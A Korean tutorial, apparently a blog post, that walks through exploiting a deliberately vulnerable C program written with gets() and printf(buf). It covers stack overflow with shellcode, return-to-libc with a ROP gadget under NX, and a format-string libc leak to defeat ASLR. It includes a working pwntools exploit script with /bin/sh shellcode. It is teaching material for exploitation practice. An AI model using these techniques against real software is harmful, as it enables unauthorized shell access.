#include <stdio.h>
void setup()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(void)
{
setup();
char buf[0x100];
printf("What's your name? : ");
gets(buf);
printf("Hello, ");
printf(buf);
printf("!!!\n");
printf("Last greeting : ");
gets(buf);
return 0;
}
보호기법들이 아무것도 적용되어 있지 않아 쉘코드를 이용해 쉘을 딸 수 있다.
마지막 인사를 통해 버퍼를 오버플로우하여 쉘을 따보자.
익스플로잇을 하는 방법은 이러하다.
먼저, 버퍼에 쉘을 딸 수 있는 코드와 buf(0x100)
크기까지 아무 값이나 넣어 메모리를 채운 후
sfp(0x101~0x108)
역시 아무 값이나 채운 다음
return address를 buf
의 시작 주소로 덮어씌우면 된다.
그렇다면, return address에 덮어씌울 buf의 시작 주소를 알아야 한다. 어떻게 알아야 할까?
main +116줄을 보면 [rbp-0x100]
의 주소 값을 rax
에 넣는다.
0x7fffffffdc90
가 buf
의 시작 주소인 것을 알 수 있다.
정리하면, 마지막 인사에 쉘코드와 아무 문자를 합해서 0x100, sfp
에 아무 문자 0x08을 채운 다음, buf의 시작 주소를 적어주고 보내면 쉘을 딸 수 있다.
따라서, 익스플로잇 코드를 이렇게 짤 수 있다.
from pwn import *
p = process("./bof", aslr = False)
#p = ELF("./bof")
p.recvuntil(": ")
p.sendline("niro, i'm niro")
p.recvuntil(": ")
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
buf = "A" * (0x100 - len(shellcode))
sfp = "A" * 0x08
ret = p64(0x7fffffffdc90)
p.sendline(shellcode + buf + sfp + ret)
p.interactive()
NX-bit 보호기법이 켜져있는 프로그램을 익스플로잇 해보자.
프로그램의 C 코드는 이러하다.
먼저, NX-bit가 켜져있는 프로그램은 쉘코드를 실행할 수 없다.
왜냐하면, 우리가 입력한 쉘코드는 메모리 스택에 들어가는데 스택에 실행 권한이 없어 쉘코드가 실행할 수가 없다. ([stack]
에 실행 권한인 'x
'가 빠져있다.)
그러므로 우리는 RTL(Return to libc)
공격 기법을 사용해야 한다.
RTL 공격기법은 공유 라이브러리의 원하는 함수를 사용하는 공격 기법이다.
우리는 system()
를 사용하여 쉘을 따야 한다.
ret
에 system()
의 주소값을 넣은 다음, 익스코드를 실행해보자.
(p system
으로 system()
의 주소값을 확인하였다.)
안된다. 안되는게 당연하다.
저 페이로드는 system(이상한 주소 값)
를 실행하는 것이다. dereference가 나서 세그폴트가 뜬다.
실행할 파일을 인자에 넣지 않았으니 당연히 안되는 것이다.
그러므로, system()
함수에 "/bin/sh"
인자가 들어가야 한다.
64bit에서는 함수 인자를 레지스터 rdi, rsi, rdx, rcx, r8, r9
순으로 받는다.
rdi
에 "/bin/sh"의 문자열 주소을 저장하고 함수를 실행해야 system("/bin/sh")
이 실행 될 것이다.
그러므로, 우리는 메모리에 이미 있는 기계 명령어인 "가젯"을 사용하여 rdi
를 저장해야 한다.
호출할 함수의 첫번째 인자 값을 저장하는 asm코드를 찾아야 한다.
ROPgadget
명령어를 서용하여 가젯을 확인한다.
ret
뒤에 값이 없는 첫번째 주소 값을 선택 한다.
main 함수의 ret
을 가젯으로 덮어씌우고, rdi
에 넣을 주소 값을 가젯 뒤에 바로 적어준다. (rsp - 0x08)
마지막으로, 가젯의 ret에 system("/bin/sh") 주소 값을 적어주면 된다.
system()
함수가 호출됬고 rdi
에 "/bin/sh"
의 주소값이 들어가 있는 것을 볼 수 있다.
최종 익스플로잇 코드
NX, ASLR 보호기법이 켜져있는 프로그램을 익스플로잇 해보자.
ALSR이 켜져있어 프로그램을 매번 실행했을 때 메모리 주소가 달라 고정된 주소로는 익스를 할 수가 없다.
프로그램의 소스코드는 이러하다.
printf(buf)
? 안된다고 생각 할 수 있지만,
printf()
함수는 파라미터로 포인터를 받는다.
배열의 이름은 배열의 첫번재 주소이기 때문에 문제 없이 코드가 실행된다.
잠깐, 그렇다면 %d
와 같은 포맷 스트링을 넣으면 어떻게 될까?
이상한 숫자가 나온다.
메모리 주소인거 같으니 %p
를 넣어보자.
메모리 주소가 맞다.
그런데 이 메모리 주소는 무엇을 의미하는걸까?
gdb를 실행시켜 대충 bp를 걸고 확인해봤다.
오.. rdi
제외, 인자값을 전달하는 레지스트리의 값이 순서대로 나온다.
rdi, rsi, rdx, rcx, r8, r9
, 그 다음 부턴 스택이다.
스택? 우리는 프로그램을 실행할 때 main()
이 바로 실행되는 것이 아니라 __libc_start_main()
이라는 함수에 의해 실행 되고, main()
함수 실행이 다 끝나서 __libc_start_main()
으로 돌아가면 exit()
로 __libc_start_main()
함수를 종료한다.
__libc_start_main+240
은 항상 존재하는 것이다.
추가) +240
의 오프셋은 glibc의 버전마다 약간씩 다 다르다.
그러므로, __libc_start_main+240
를 이용하여 라이브러리(libc)의 시작 주소를 알 수 있다.
아니,, 라이브러리 시작 주소를 왜 알아야 하는데요..?
ASLR
은 Address Space Layout Randomize의 약자이다.
직역하면, 주소 공간 배치 랜덤화이다. 주소가 바뀌지, 메모리 구조가 바뀌는 것이 아니다!
system()
함수(__libc_system
)는 libc 라이브러리 안에 있다.
메모리 구조는 바뀌지 않으므로, 이 둘의 주소의 차이는 항상 같다.
이제부터, 이러한 주소의 차이를 오프셋이라 하겠다.
일단, system()
함수의 오프셋을 구해보자.
먼저, gdb로 스택에 있는 __libc_start_main+240
의 주소값을 찾아보자.
시간이 좀 걸렸지만.. 찾았다.
%p
를 (5 + 34)번 했을 때, __libc_start_main+240
의 주소를 출력한다. (5: 레지스트리, 34: 스택)
vmmap
을 이용하여 libc와 __libc_start_main()
함수의 오프셋을 알아 냈다.
마지막으로, libc의 시작 주소와 system()
함수의 주소 차이를 구하면 오프셋을 얻을 수 있다.
이와 같은 방식으로, 라이브러리 안에 있는 "/bin/sh" 문자열의 주소를 찾아 "/bin/sh" 문자열의 오프셋도 얻을 수 있다.
이제 지금까지 구한 오프셋들을 익스코드에 적용 한다.
쉘을 딸 수 있다.